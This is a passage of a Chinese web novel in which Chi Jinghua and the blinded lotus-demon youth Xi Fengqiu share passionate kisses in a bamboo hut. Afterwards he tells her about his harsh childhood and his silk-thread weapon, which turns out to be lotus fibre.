少年轻轻“嗯”了一声,不作反抗,任由她牵着自己踏出茶馆。 池镜花拉着他,一同购置了些生活用品。 一路上,奚逢秋虽然话不多,但表情异常平静。 他听力极好,所以应是听见茶馆里的交谈声,可好像并未受影响。 有点奇怪。 但池镜花无从下口,只好将疑问憋在心底。 等他 们避开所有可能会被认出的地方,采购完生活用品回到竹屋时,太阳尚未落山,门口水坑见了底,露出被雨水所掩盖的几片竹叶。 池镜花一进屋放下东西,就给他们二人分别倒了两杯茶。 冷是冷了,但解渴。 由于花费不少精力,池镜花直接端起茶杯咕噜咕噜一口气喝完,转眼却望见奚逢秋左手撑脸,右手只握着杯盏,却不喝。 池镜花凑近盯着他受伤而覆着白绫的双目打量半晌,只能看见他微微上扬的唇角,心情很好的样子,却不知原因。 “怎么了?” 少年慢慢往前移动半分,在即将碰到她时精准确停下,热衷于与她抢夺稀薄的空气,薄唇一张一合,语气比情人还要温柔。 “你不问我吗?” 池镜花不明所以地眨了两下眼睛,沾着晶莹茶水而红润的唇张张合合。 “问你什么?” “不好奇吗?” 不知回想起什么,他忽而轻声笑了笑,醒目的耳铛在池镜花漆黑的瞳孔里震颤一下。 “为何父亲这次回来却不打算再回京师了。” 很好,他果然听见了! 池镜花老实点头,“好奇啊。” 傍晚的天空之下起了风,垂挂在屋外的风铃在风中摇摆,发出清脆悦耳的声响。 奚逢秋微不可察地叹口气,抬指摸到少女耳后的一缕发丝。 “既然好奇,那为何不主动问我呢?” 什么跟什么啊? 她不问是担心问这些事情会勾起他的不愉快回忆,怎么反而说得好像她做错了事情一般? 什么奇怪的脑回路? 池镜花拍了下他不安分的手指,理了理头发,轻咳一声,一本正经地望着他。 “好,那我现在问你,晋王,也就是你的父亲,为何决定留在府中不回京城了?” 没再继续触碰她的奚逢秋缓慢地垂下手指,“父亲不是不想回京师,而是被母亲关起来了。” 囚禁? 不是,玩这么变态的吗? 池镜花诧异地微微张开口,但一想到几次看见苗献仪时她那不正常的表现,极有可能做出这种事。 池镜花大胆猜测,很有可能是因为苗献仪占有欲过强,奚淮景忍受不了才找借口上京师躲着不见,但两人之间并非无爱,只是因为各种各样的原因无法平和相处。 女版强制爱。 ……倒是新奇。 话又说回来,虽然奚逢秋与苗献仪在很多方面大有不同,但在占有欲这块完完整整地遗传了他的母亲。 可就因为这样的遗传,哪怕奚逢秋什么也没做,却连他的呼吸和生存都是错的。 池镜花心脏一颤,仰头抬手轻轻覆上他眼前的白绫,试图安抚他的心情。 似是察觉到她的目的,以及他心中所流露出的情绪波动,抬手握住她的手指。 “没有关系的。” ——他本就无用。 毕竟他的存在只为留住父亲,若是连这一点都做不到的话,一向厌恶他的母亲自然不会再留着他。 或者说,除了父亲,母亲不在意任何人,所以,不管他做什么都一样。 若非父亲有段时间觉得他字写得不错,母亲大喜,遂为他请了位教书先生,否则,他甚至不知该如何表现,才能让自己像个“人”。 听他这般说,池镜花却不大高兴,因为他总是这样,对什么都是淡淡的,包括他的性命,也可随意抛弃,看似温柔,却裹藏着危险和疯狂。 若在以前,池镜花只会认为他病得不轻,可在通过幻境了解他的过往以后,不管他产生多么偏执的想法,她虽不认同,却也能够理解。 毕竟,没有谁在那样的生存环境长大,还能保持“正常”。 一想到他身上发生的这些,不知怎地,心脏猛地被什么给攥紧,疼痛伴随呼吸进入心脏。 池镜花突然很想亲一亲他。 就像是他说的那样,给予他一点欢愉,让他高兴一点。 池镜花被自己突然冒出的想法吓了一大跳,她分明说过不会再亲他的,而且,现在也没理由亲他啊…… 又不会涨好感度。 她用力摇了摇头,将这不该有的想法甩出脑袋。 不知从何时起,哪怕她的一个呼吸一次心跳,奚逢秋都格外在意,哪怕她故意隐瞒自己的来历,可此时此刻,他想要了解她的全部。 少年轻轻张了张口,喊了她一声。 “池镜花。” 许久没听他喊自己全名的池镜花明显愣了一下,回过神,神情呆滞地点了点头。 “嗯,我在。” 即使奚逢秋可以感受她的情绪,看不见她的五官,所以非常好奇她以怎样的表情面对他,不由像动物般不解地歪了歪脑袋。 “方才在想什么?” 池镜花面不改色地道:“没想什么啊。” “又要骗我了,是吗?” 他一直笑着,在吐出“骗”字时语气极为平静。 池镜花莫名联想到在春梦里见到的一切,当时,他也是这般询问自己是否又在骗他。 见面的第一天,他分明强调最讨厌别人骗他,可现在,还有梦里,他均无表现出任何厌恶的情绪,那就一定有什么盖过了这种情绪。 会是喜欢吗? 池镜花突然心跳加速,迫不及待想要验证一下。 可要如何验证? 思忖几秒,她猝然响起奚逢秋在梦里的动情姿态,或许值得一试。 但那就不可避免地要进行亲密行为。 算了。 亲就亲吧。 而且,她也确实很想…… 仿佛是找到了合适的理由,池镜花毫不犹豫地拉住他的手,为了方便行事,不由分说地把人往床上拐。 不到几息,奚逢秋已被她按在床上,可他却不明白池镜花这样做的原因,毕竟,现在还没到睡觉的时间。 “做什么?” “你不是问我在想什么吗?” 说话间,池镜花已快速爬上床,轻车熟路地坐在他腿上,双手圈住他的脖颈,与他面对面,语气理直气壮。 “我在想跟你做这种事。” 不知经历多少次这样亲密行为,奚逢秋只双手握住她的腰肢,防止她随时离开,心中仍残留一丝疑惑。 “想要坐在我身上?” “当然不是!” 谁没事老喜欢压在别人身上,也就他癖好古怪,喜欢做被压在身下的那个人。 少女探出食指轻轻按住他的唇。 当指腹触碰到自己的瞬间,奚逢秋立即明白她真正想做的事情是什么。 可他没有问她到底要不要亲,而是微微笑着,耐心等待她做出抉择。 池镜花附身慢慢向他靠近,贴上的前一秒停下,如此近的距离,可以确保他理解自己的意思,同时注意观察他的变化。 他既没有后撤,也没有前进,完全端正地坐在那里,等她主动咬上去。 怪会引诱人的。 池镜花抿了抿唇,眼睫一颤,闭上双睛,吻上自己的指尖,隔着手指,轻轻压上他的唇角。 几乎刹那间,打在池镜花脸颊的呼吸有了变化。 池镜花决定趁胜追击。 她将阻碍他们进一步亲密接触的手指慢慢拿下,泛白的指尖轻轻抓住他的肩膀,身体失重般的往前一压,直到唇瓣完全覆上他的。 第78章 第78章还要吗? 从窗户照进的晚霞的余晖斜落在地面,在冷风中隐隐摇晃,逐渐悄无声息地攀上两人交叠的衣袂。 屋外清脆悦耳的风铃声一下下有力撞进少女汹涌的心田,扑面而来的一阵清香一股脑地涌进鼻腔。 刹那间,血气翻涌而上,将池镜花本就不大清醒的脑袋搅得乱七八糟。 顿时,脑海只剩一个直白的念头。 ——她在亲他。 心脏跳的很厉害,羞涩的绯红从耳尖开始蔓延至双颊,抓住他的双手在颤抖。 太羞耻了。 可意外地,她一点也不想那么快结束。 但她又不敢太过急切,只以柔软的唇瓣轻轻压住他的冰凉,静静地等待着。 清脆的铃声耳边回荡,少女的呼吸也变得急促起来,四周的空气温度逐渐升腾,她的力气在流失,令池镜花不由自主地抓紧他的衣裳。 不知过去多久,直到迷迷糊糊间,池镜花感觉到施加腰肢的力量正在收紧,慢慢地,微凉的掌心抚上她的后背,双臂交叉着将她完全地搂在怀里,彼此再无多余间隙。 奚逢秋给予她回应了! 池镜花心中一喜,睫羽震颤,余晖从眉睫洒落,她睁开潋滟的双眸。 只见奚逢秋的表情并无太大反应,可呼出的气息又热又急。 ……应该是情动的表现吧。 但好像又不是那么明显。 一想到自己亲他的目的是为了让他动情,池镜花眼睫一颤,急忙闭眼,生怕自己再多看会儿就要忍不住滚进床底不敢见人。 奇怪的是,当再次闭眼,池镜花竟似乎体会到失明的滋味,身体的所有感官,尤其是与他紧密相贴的唇,感觉能力被放大无数倍。 她可以清晰感受到埋奚逢秋埋血管里缓慢流淌的滚烫血液,这股香甜顺着呼吸进入她的胸腔和脑袋,引诱着她探出舌尖。 下一刻,池镜花以舌尖若有似无地舔舐了下他的唇,接着,迅速收回口腔。 潮热的舌尖轻轻扫过她的唇瓣,少年灼热的身体犹如打湿的蝶翼在雨中轻颤,手臂力气再次收紧,不知不觉中,双手抚上她的后颈,以实际行动邀她继续。 池镜花瞬间明白他的意思,鬼使神差般的第二次探出舌尖,抵着他唇时突然意识到个严重的问题。 就算他们亲过不止一次,但两个人在亲吻这件事情上根本就是个新兵蛋子! 就在池镜花犹豫着要不要止步于此时,忽然感觉舌尖一热。 是奚逢秋学做她的样子舔她的唇。 池镜花彻底怔住。 虽然大可以立马结束这个吻,但她不愿这样,并替自己的行为找了个绝佳的理由。 ——既然他们都不会,那亲得再烂也不会有第三个人知道。 想到这,池镜花脑子一热,舌尖主动卷缠住他的。 当两片柔软毫无阻碍地贴上时,有什么在池镜花脑海中轰然炸裂,顿时,脑袋一片空白,只凭借本能将自己往里送。 纠缠住他的,又勾带出他的,最后一同进入自己的口腔,来来回回地吞吐中,不断交换潜藏在彼此深处诱人香甜。 渐渐地,奚逢秋仿佛掌握到诀窍,他开始捧住她的脸颊,指腹按住她的下颌,屈服本能去追逐令他感到无上快乐的柔软,不断攫取她的气息,同时用自己的气息填满她所有的沟壑。 漆黑的夜里仿佛出现她的身影,他们互相抚摸、拥抱、亲吻……交换着属于彼此的一切。 少年的身体因兴奋而止不住地颤抖,他不知该怎么做才能让自己冷静下来,只求与她这样密不可分。 当刻进骨髓的愉悦到达顶峰不能自已时,奚逢秋无意识地开始唤她姓名。 “池镜花……” 喉咙溢出低声缠绵又暧昧,每一个音节都在打颤。 池镜花蓦然睁眼,回想起她亲他的最初目的,分明是要确认他究竟喜不喜欢自己有没有动情,但跑偏了。 在与他唇舌相缠的那一刻,池镜花几乎忘记这一切,只单纯想要与他亲密地亲吻。 她被这冒出的这个想法吓了一大跳,不停眨着雾蒙蒙的双眼,观察奚逢秋的反应,同时齿间不忘给予他应有的回应。 当氤氲在眼底的水汽消散以后,池镜花又听见她喊了一声自己,同时望见他藏在平静表情下的渴欲。 他在渴求自己。 冰冷的指尖一点点抚过她的脸颊、脖颈、肩膀和锁骨,贪婪又温柔地汲取她肌肤的暖意,恨不得用绳子将自己绑在他身边,任由他一遍遍不厌其烦地抚摸着。 池镜花确定他就是动情了。 就跟梦里一样。 所以,只要梦里的他喜欢自己,那么,他现在也应喜欢她。 分明是她一直想要的结果,可当真相揭晓的瞬间,池镜花竟有些茫然不知所措。 尽管他并未意识到自己的情感,可身体本能不会骗人。 ——他喜欢自己。 不知在哪种情绪的驱动下,池镜花双臂圈住他的脖颈,蓦然加深这个吻,情不自禁地将他此时此刻所渴望的全部奉上,也十分乐于承着他所给予的一切。 直到唇舌又烫又麻,让她感到喘不过来气,再亲下去就要晕了。 池镜花才双掌抵住他的肩胛,将其轻轻推了推,舌尖退出他的,与他拉开些许距离,睁开满是雾气的双眸。 当纠缠许久两片舌尖缓慢分离时,勾出一段细长的暧昧银丝,在半空中拉扯时分崩离析,后被彼此吞入腹中。 望着他红得滴血的唇,池镜花眨眨眼睛,后知后觉他们竟然亲了这么久,而且,并非简单的唇瓣相依…… 此时此刻,她纤细的十指正搭在他的肩上,衣袖滑落至手肘,露出嫩白的肌肤,头发也因他的抚摸而变得有些凌乱。 当然,奚逢秋也好不到哪里去,他的衣裳早已在亲吻中被她抓得不成型,微微敞开的领口露出线条流畅的锁骨,还有两排清晰的牙印。 这意味着,动情的远不止他一个。 当池镜花从他唇上离开时,先前的平静情绪正在慢慢回笼,不知第几次呼唤她的姓名。 “池镜花。” 因不好意思看他,池镜花只能抵着他同样滚烫的额头,垂着半湿的睫毛,柔和的光辉从她头顶倾洒而下,笼罩在二人周边。 她低低地应了一声。 “嗯……” 他习惯性地以指尖帮她理头发,微微歪头间,鲜艳的唇噙着淡淡的笑。 “不是说不会再亲我了吗?” 经他提醒,池镜花突然想起她曾三番四次强调不会再亲他一事,没想到是自己先打破常规,立即双颊爆红,眼睛微微瞪大。 她该庆幸奚逢秋短暂失明看不见自己的窘状,不然定要找个地缝钻进去。 “这次和之前都不一样。” 她的很低很低,同微风一道飞进他的耳朵里。 奚逢秋不太理解她的话中之意,微微歪了歪脑袋,血红的耳铛斜阳照耀下,映出天边黄昏的身影。 “哪里不一样?” 池镜花紧紧抓住他的衣裳,轻轻摇着头。 “不知道……” 其实她知道,但总不能说自己亲他是为了试探他的感情,更不能说她喜欢上与他亲吻时的滋味,总感觉像个女流氓! 可正因为存在这些,才与之前有所不同。 不知怎地,池镜花突然回想起王府的离谱传言,说什么他爬上了世子的床,还亲了人家。 以前可能是谣言,现在却成真了。 而且,他们现在这情况,更像是她胆大包天在竹屋藏夫! 池镜花简直要被自己逗笑了,长睫不停颤动,微微张着红润的口喘息。 察觉到她情绪上的莫名波动,少年的指尖再度轻轻抚上她的脸颊,无比渴望知晓她的一切,语气里是数不尽的关切温柔又耐心。 “怎么了?” 池镜花握住他的手指,抬起头来,盛满湛清笑意的双眼弯如月牙,摇头时,乌黑的发丝悠悠荡过颈间。 “没什么,只是想到我们现在这样,我瞒着所有人跟你在一起,还胆大妄为地主动亲你,好像是在竹屋藏夫啊。” 她不假思索地实话实说,也没觉得哪里不对劲。 被她稀奇古怪的想法所逗乐,奚逢秋轻笑一声,不可置否地点了点头,金光的余晖洒在他的四周,仿若一层朦胧的轻纱。 “嗯,说的也是。” 见他完全没有反驳自己“竹屋藏夫”的谬论,池镜花略感诧异地眨了两下眼睛,下一刻,殷红湿润的唇瓣漫上一阵凉意。 是奚逢秋以另一个手骤然轻按住她的唇,慢速呢喃的话语中夹杂无数期盼。 “还要吗?” 什么含义已 不言而喻。 只是池镜花十分费解,他是从什么时候开始变得这么喜欢与她亲吻的? 但她又不得不承认,与他拥抱亲吻时的感觉非常好,若非真的喘不过来气,她应该不会匆匆结束,直到双方都满足。 “可我有点喘不过来气……” 是了,犹豫的在于:因方才他们亲得太久,她到现在还在呼吸不畅呢。 奚逢秋清楚她体力勉强,思考间,他张开双手拥住她,指尖覆上她的后背,由上往下,帮她顺气,动作绝对可以称得上“温柔”,就连语调亦是如此。 “慢慢来。” 慢慢……来? 池镜花在他怀里微微愣住。 什么慢慢来不慢慢来的! 既然他都主动问她要不要继续亲了,就不能再主动点吗?直接亲上来啊! 她又不会推开他。 不过现在最好还是推开他。 池镜花故意推开他的同时身体往前倾,鼻尖贴着他的,将他所渴望的递到他唇边,可并不会如他所愿地再次吻上去。 “那你主动亲我!” 第79章 第79章要寸步不离啊…… 当“主动亲我”这句话脱口而出以后,池镜花以前只觉得自己像流氓而已,现在更是无异于流氓! 好想找个地缝钻进去,可又舍不得错过他的反应。 池镜花睫羽抖了一下,洒下淡淡金辉。 少女紧张地屏住呼吸,一错不错地盯着他,四周静得只能听见她剧烈的心跳和急促的呼吸声。 奚逢秋以微凉的指腹轻轻压了下她尚未冷却的唇瓣,不经意替她仔细拭去自己在她唇上留下的痕迹。 “要我主动亲你吗?” “嗯……” 在指腹的按压摩挲下,她的唇瓣又开始发热,池镜花红着脸颊艰难地点了点头。 “一直以来都是我在亲你,你虽然没有拒绝过我,但也没有主动亲过我。” “可你不是说过想与我做这种事吗?” 余晖打在他侧脸,随风飘动的床幔模糊地映在少年脸颊。 奚逢秋想到她不久前才跟自己说过的话,极为不解地稍稍歪了歪脑袋,透过血红耳铛的落日摇曳在少女耳侧。 “难道,你不喜欢这样吗?” “……” 什么啊! 把她说得更像女流氓了! 好好好,都是她垂涎他美色,一个没把持住就把他强吻了! 池镜花狠狠一拍他的手指,不让他继续肆无忌惮地摩挲自己的唇,赌气似的扭过头不去看他。 “不亲就算了,我也不亲!” 反正她刚才亲够了,没有被满足的又不是她! 她作势要起身下床,不想正要行动,腰肢传来外力,紧接着便被他握住,强行按下,坐在他身上。 “你——!!!” 池镜花睁大双眼,正想教育他偷袭是可耻的,然后下一秒,她听见耳边传来一声极轻的叹息。 奚逢秋定定“望”着她,神色平静如水。 “没有说不亲。” 见他屈服在自己的“淫威”下,池镜花甚是高兴,顿时忘记所有不悦,只希望他能像对待他一样对待自己。 怕他看不见不方便行动,池镜花好心凑到他跟前去,同时急不可耐地催促着。 “那你快点。” 话音落地,奚逢秋被她的反应给逗乐,蓦然轻笑一声。 这笑声像是某种提醒,令池镜花突然意识到自己现在这般猴急,哪里还有一点矜持的模样。 说她是女流氓真是一点不过分! 她索性咬住唇瓣不再说话,安静等他主动亲自己。 晚霞的余晖将周围的一切染成暖色,屋外传来的风铃声响逐渐将二人之间暧昧的氛围蔓延开来。 奚逢秋小心翼翼地探出手指,指尖轻轻落在她眉心,顺着额头逐步向下,一步步滑过她的眼睛、鼻翼、脸颊、唇瓣和下颌。 像是在确认什么。 最后,他温柔地将她耳侧的发丝别至耳后,双手轻轻捧起她的面颊,俯身低头,唇瓣贴在了她的额头。 此时,先前的试探起了作用。 凭借在黑暗中摸索出的轨迹,少年一点点往下,虔诚地亲吻她的五官和肌肤。 少年炽热的呼吸若有似无地游走在她的肌肤之上,池镜花闭眼仰头,长睫不停颤抖着,只觉得被他亲得好痒。 脸是痒的,眼睛是痒的,耳朵也是痒的。 唯独不急着亲她的嘴唇。 但却给池镜花一种极为奇怪的感觉。 ——他似乎在隔着血肉亲吻她的内里。 想法一经产生,大脑莫名兴奋,一股酥麻之意漫上骨骼,将池镜花全身的力气抽取,只能抓着他的衣裳才能勉强支撑身体,不至于倒在在他怀里。 当奚逢秋滑过脸颊含住她的唇瓣时,池镜花被本能驱使,舌尖已缠住他的,准备主动送上香甜,可主动方却怕她窒息,只敢纠缠吞吐片刻,品尝到甜蜜便从她口中退出,吻过她的唇角,继续往下。 当断断续续的吻落在她的耳后和颈侧时,池镜花差点抑制不住痒意推开他。 可她忍住了。 池镜花可一想到这是他首次学着亲近自己,而且吻得这样生疏,却又情难自控,不由心间一颤,有股难以言说的喜悦在心间蔓延。 她不由双手用力搂住他的脖颈,发热的身躯紧贴着他的,微微侧着头,任由他随意探索其他区域。 奚逢从前就喜欢以指尖去触碰抚摸她的颈侧,因为那里有她的颈动脉,他可以清晰感受到她的呼吸和心跳。 因为她是鲜活的,似乎自己也有了生命。 尤其是当他吻向池镜花的颈侧肌肤时,感受到血管下流淌着的滚烫血液,几乎迸发出想要与她融为一体的强烈愿望。 但他无从下手,只能贪婪地以唇瓣描摹自己目前触碰到的她的一切。 当吻轻轻落在她的耳后,颈侧、肩膀、心口……耐心品尝其中的甜蜜。 他希望这样的柔软可以再多点,但却衣物的阻隔而无法继续往下,奚逢秋只好无奈停下。 察觉到附着在颈间的一切消失,池镜花缓慢地方才的余韵中回过神来,全然未注意到颈侧的淡淡吻痕,只能感受到肌肤余留的滚烫。 池镜花眨眼恢复冷静,望见他不停仰头喘息调整呼吸,似乎很不大好受的样子。 但也仅持续半分钟。 池镜花抿唇不语,默默平息被挑起的情绪,然后就被他抱住了。 少年脸颊若有似无地蹭了下她的颈侧,仔细聆听她脉动的心跳。 “你心跳的很快。” 池镜花咬牙回道:“你不也是!” 没有谁做这些事情的时候可以保持心如止水。 少年低声回应:“嗯,我也是……” ——仿佛,心脏只为她跳动。 两人没再说话,知道双方情绪皆平静下来,奚逢秋才松开她。 “这个。” 很快恢复平静神色的奚逢秋用右手指尖覆上白绫。 “可以帮我取下来吗?” “嗯,好。” 池镜花轻轻点点头,将褪至肩膀的松垮衣领拢了拢,又为他解开他一直蒙住双眼的白绫。 经过十几天,奚逢秋开始第一次尝试睁眼。 当半湿的睫羽轻轻颤了几下,露出被睫毛遮盖下的蓝色双眸,仿若平静的海面。 池镜花顿时呼吸一滞,莫名联想到他后背肩胛的蓝色莲花。 嗯,都一样好看! 池镜花伸手在他眼前晃了晃。 “能看见了吗?” 奚逢秋摇了摇头,“还是看不太清楚。” “好吧。” 见他眼睛尚未完全恢复,池镜花不免有些失望,垂头,盯着手中白绫叹了口气。 见状,少年悄悄摸上她的眉骨,虽然眼前只能看到个模糊的影子,可在黑暗中却一直有道熟悉的人影萦绕在身侧。 他轻声笑了笑,指尖轻轻按了按,语气温温柔柔。 “不过,我记得你的样子。” 这是很正常的事情,若是池镜花,就算与他分别十天半个月,哪怕半年,也会印象深刻。 不过,既然讨论到模样问题,她忽然很想问他一个一直围绕在自己心里、令她大为不解的问题。 可怎么开口却是个大问题。 毕竟,她还是第一次问别人这种问题。 池镜花沉思片刻,战术性地清了清嗓子,在心里打好腹稿后便直接问了出来。 “咳!那你觉得,我跟金德镇的悬赏司小吏谁好看些?” 是了,她一直记得他说过金德镇悬赏司小吏长相有趣这件事。 少年没有立即回应,而是指腹缓慢移动,轻轻捏了捏她柔软的耳垂,唇边带着浅笑 。 “你们不一样。” “哪里不一样?” 池镜花一下子来劲了,仰头直直注视他的双眸,对他古怪的审美表示强烈怀疑。 “还是说,你更喜欢他那种长相呢?” 她并非要指责他那几乎扭曲的审美,而是想要了解他的一切,所以,池镜花的语气相当平静,而且,充满求知欲。 “脱去皮囊,无非二百零六骨。” 少年湿漉漉的睫羽轻轻颤动,飘荡在空中的金粉争先恐后地攀附而上。 他垂下眼眸,静静阐述自己对于“美丑”的理解。 “他的外表确实很有意思,可你不一样,你是什么样子并不重要。” “因为是你,也只有你可以轻而易举地给我痛苦、予我欢愉,所以,哪怕你只剩一具白骨、一副空壳,我也想一直与你在一起。” 什么玩意儿? 白骨?空壳? 这么吓人吗!!! 万万没想到,他在感情上能偏执到这种地步,压根不在乎她的外表和其他,只想要她,只喜欢她,并不仅仅局限于外在。 察觉到她情绪的波动,少年微微笑着,指尖轻柔抚摸着她的发丝。 “还有,你很好看。” 池镜花逐渐回神,得意地扬了扬头。 “我知道。” 从小到大,很多人都夸她长得好看,可奚逢秋喜欢她却并非因为这点,那么他自然不会在意她的长相如何,这么说,哄她高兴的成分居多。 想明白这点的池镜花蓦然将脑袋埋进胸口,在聆听他的心跳声时,感受他流露出的明显爱意。 奚逢秋转而拥住她,侧脸埋进他的颈窝里,隔着冰凉的耳铛,池镜花浑身蓦地一颤,却只能被他圈在怀里,把身体的一切气息渡给他。 “那能一直留在我身边吗?” 他又在耐心征求她的意见,似乎只要她不给出明确回复,他就会一直找机会向她求证。 池镜花认真思考了下。 虽然“化为白骨也要在一起”这句话听着很吓人,可换个角度想,若他们真的可以一直在一起,那他有没有求生欲也就无所谓,反正只要她不死,奚逢秋就会一直陪在她身边。 换句话说:她可以用自己绑住他的性命。 池镜花同样抱住他,声音充满生命力。 “我可是很能活的!” 而且惜命。 仿佛听懂她的弦外之音,把她锢在怀中的少年轻声笑了笑,胸腔微微起伏时,发出一道暧昧的靡靡之音。 “嗯,我会跟你永远跟你在一起的。” 此时此刻,池镜花什么也没想,只发自肺腑地,想要与他永远这般,再也没有别的糟心事来打扰他们。 “我也会一直陪在你身边的。” 【男配好感度+10,当前好感度70/100】 得到自己想要的答案,奚逢秋唇畔笑意更深,掌心按住她的后脑,指尖轻轻插|进他的发丝里,以彼此的血肉填满二人之间的唯一一丝空隙。 墨发从颈侧滑落,他微微俯身贴在她的耳边,声音如下了蛊似的诱人。 “要寸步不离啊……” 第80章 第80章掌控他的一切。 令池镜花没想到的是,他口中的“寸步不离”真就字面上的意思。 自他确认了她也想与他在一起的心情后,此后几天,不管池镜花做什么在哪里,她的身边定有他的身影。 春雨过后,天气总是明媚灿烂,大多数时,池镜花会拉着奚逢秋出门晒晒太阳,也即坐在门口的石阶上。 毕竟,他看上去实在缺少阳光照耀,身为莲花可不得多晒晒太阳,等他们回到现实,估计快要入冬了。 可就算只是坐在门口晒太阳,奚逢秋也要私心地与她紧挨坐在一起。 当两道人影完全重叠,池镜花望着身下一白一蓝相互交叠的衣角,恍然记起刚认识他那会儿。 端方有礼,还会刻意与她保持距离,就算想要拉她也只会用白丝缠住她的手腕。 跟现在相比,简直判若两人。 想到这,池镜花忽然“噗嗤”一声笑声来,不由侧过身,双手搭在他的肩上,圈住他的脖子。 “奚逢秋,你变得好黏人啊。” 当然,她一点不讨厌。 就像猫和狗两种宠物,她虽都养过,可若要二选一,她会毫不犹豫地选小狗,无他,她更爱黏人热情一点的。 可奚逢秋比小狗还要粘人。 不管她在做什么,奚逢秋总要陪在她身边,仿佛透过躯体凝视她的灵魂和骨骼,甚至每天早上从他身边醒来时,她第一眼看到的还是他。 若非曾亲眼见过他合眼睡觉,池镜花真要开始怀疑他是不是不需要休息,只要每时每刻都要看着她就行了。 唯一不理解:奚逢秋喜欢她,她也给予他想要的回应,可从始至终,池镜花却没有听见他对自己说过“喜欢”二字。 这是为什么? 她暂时还没想通。 听见她夹带清澈笑意的声音,少年修长苍白的指尖轻轻抚上自己的眼眸,唇畔同样含着淡淡的笑。 “因为看不清。” 什么看不清啊! 分明就是借口。 不过当他提到“看不清”时,池镜花想起一直遗留在心底的疑问。 她轻轻张口问道:“其实我一直有个问题想问你。” 阳光下,少年的皮肤愈发冷白,由耳铛投在颈侧的黑色阴影随风摇曳。 他极轻地应了一声,一副安静乖巧的样子等她提问。 池镜花知道他的意思,抬手以指腹轻轻抚摸他的眼睛,不想指尖刚一触碰到他的,鸦青睫羽在她指下微不可察地颤动了下。 一如既往地敏感。 池镜花故意咳嗽一声,将他拉出想要与自己持续亲近的泥潭,抓住时间问正经事。 “既然傩神的癖好是看你重演小时候发生的事情,这就说明以前你眼睛也受过伤,那你是怎么……怎么度过的那段时间的?” 怕勾起他的不愉快回忆,池镜花不免吞吐,可转念一想,她实在渴望了解他,但这种欲望是建立在他愿意分享的基础上,若他不便言说她绝不强求。 “这并不难。” 说话间,奚逢秋一直微微笑着,神色毫无情绪起伏。 “这世上有很多人都热衷于帮助‘弱小’,而我恰好在他们眼中就是弱小毫无生存能力,所以,我只需要他们施舍一点善意就能活下来。” 他轻飘飘地一带而过,语气淡到仿佛正在诉说别人的事情。 池镜花却没有来由地为此心痛。 所谓的施舍善意,那不就是乞讨吗? 这若是让王府里厌恶他的那些人知道,不得狠狠把他嘲笑愚弄。 池镜花不知该如何抚慰他,毕竟,这些都是过去之事,她无法也不会直接改变已经发生的事情,她能为他做到的事情只存在于当下。 她只能低着头,慢慢地抱住他,以自己滚烫的身躯去温暖他。 意识到她在用自己的一切接纳他、安慰他,尽管奚逢秋对这段过往并无任何特殊的感情,却十分高兴池镜花可以主动靠近自己。 奚逢秋指尖从她的腰间缓慢向上游走,最终一手扶着她的后背,一手轻轻按住她的后脑,把人拥入怀中。 直到双方的脸颊贴在彼此的颈侧,感受到少女血管的震颤和心跳的律动,奚逢秋满足地笑了笑。 “其实,我的眼睛能否看见并没有太大的关系,因为不久后我遇到了小白,它很聪明,也会把它的眼睛借给我。” 关于这点 ,池镜花深有体会。 就好像初次见面那般,他就向自己和黑妖展示他与白鹤视野共享的技能。 利用白鹤在空中看见的一切,他可以迅速定位对方的位置,继而追杀,甚至还可逼对方逃到自己为他预设好的死亡之地。 回想起过去发生的某件事,奚逢秋轻轻地笑了一声。 “而我,也是那时候才发现自己原来不怕水。” 池镜花极其不解地眨了眨眼睛。 “什么意思?” 少年眼睫一颤,金色的暖阳落在他的睫上,他耐心地给出解释。 “因为看不见,有一天,我不小心掉进河里,可是却没有被淹死,而是被冲到岸边,在那里,我才遇到的小白。” 令池镜花诧异没想到的是,他还有失足掉进河里的过往。 要是换成普通人,恐怕早就一命呜呼了,她该庆幸他是生在水里的莲花妖。 可一想到就是这样的身世才让他的前二十年过得这样苦,池镜花难免心中酸涩,眼睛眨呀眨,想把在眼眶里打转的泪水憋回去。 他这样抱着她,与她亲密接触,自然知道她的情绪波动。 日光从高处倾泻而下,门外斑驳的枝影落在二人衣间,奚逢秋以冰凉的指尖不停抚摸她柔软的发丝,声音温柔至极。 “是在可怜我吗?” 池镜花仰起头,微微睁大黑眸,大声纠正他的错误。 “是心疼!才不是可怜!” 对于池镜花来说,“可怜”是一种高高在上的姿态,而“心疼”则将二人放在平等的位置上,想要让他感受到人世间的温暖。 午后清风渐起,少年墨发微扬,如画的眉眼间透着几分显而易见的疑惑。 “不会觉得我恶心吗?” 池镜花微微睁大眼睛,被风吹散的发丝轻而易举纠缠住他的,一同落在自己的肩上。 “怎么可能!” 她不由想到王府大多数人对待他的态度,想来这些事情让令对自己的认知产生了偏差。 “你一点也不恶心,恶心的是别人,你很好,好到我愿意一直陪在你身边,永远在一起。” 且不论她对他的情感究竟是否出于喜欢,但至少,她真心实意地想要陪在他身边,那她对他便夹杂着太多说不清道不明的情愫。 摇曳的树影移至奚逢秋的颈侧,他轻柔抚摸她的脸颊,弯着眼睛笑了笑。 “为何你总是这样好说话?” 什么呀! 那不是因为他是特殊的吗? 要是换成别人,她才不会这样呢。 可她也是真的想要得到他的爱。 池镜花心情极佳,不想在这种细枝末节的问题上与他争辩,想到他方才提及的白鹤,又记起另外件事。 她抓住抚着自己脸颊的五指,满是好奇地打量着,忍不住随意揉捏了下。 “哦,对了,你的武器好奇怪啊?那究竟是什么?” 指尖虽然被她翻来覆去地揉捏,可不仅一点也不疼,反而想要让她予自己伤口,触碰他的血肉,掌控他的一切。 不过最好还是循循善诱地慢慢来。 奚逢秋轻笑着缓慢摊开五指,露出掌心的苍白肌肤,在阳光照耀的下,枝影摆动,映出浅浅掌纹。 “不妨猜猜,如何?” 当听见他微微上扬的语调,池镜花就知道他肯定又发觉到什么有意思的事情,十之八九跟她有关。 ——他又在逗他。 在逗她这件事上,他似乎总能找到乐趣所在。 池镜花虽然很想让他高兴点,有时候却不想让他顺利地被满足。 所以,如果他最大的乐趣是想让她猜错的话,那她就努力猜对。 “猜就猜!” 见她信心满满,奚逢秋不由自主地跟着笑,肩胛微微抖动,下一刻,一截细长近乎透明的白丝从她指尖生出,仿佛在引诱少女自己来拿。 池镜花毫不含糊。 她抓住一缕握在手心,从没这样近距离观察过,她先是仔细研究一番,几息过后,见看不出别的,又放置鼻前认真嗅了嗅。 有点香,跟他身上的香气很香,却又夹杂着些许清甜。 真是甜的吗? 因太过好奇,池镜花鬼使神差般伸出舌尖轻轻舔了一下。 真是甜的! 但比起糖果,更像是某种植物汁液的味道。 仅仅思考一瞬,她立即明白这武器的架构组成。 并非傀儡丝线这类物什,而是藕丝。 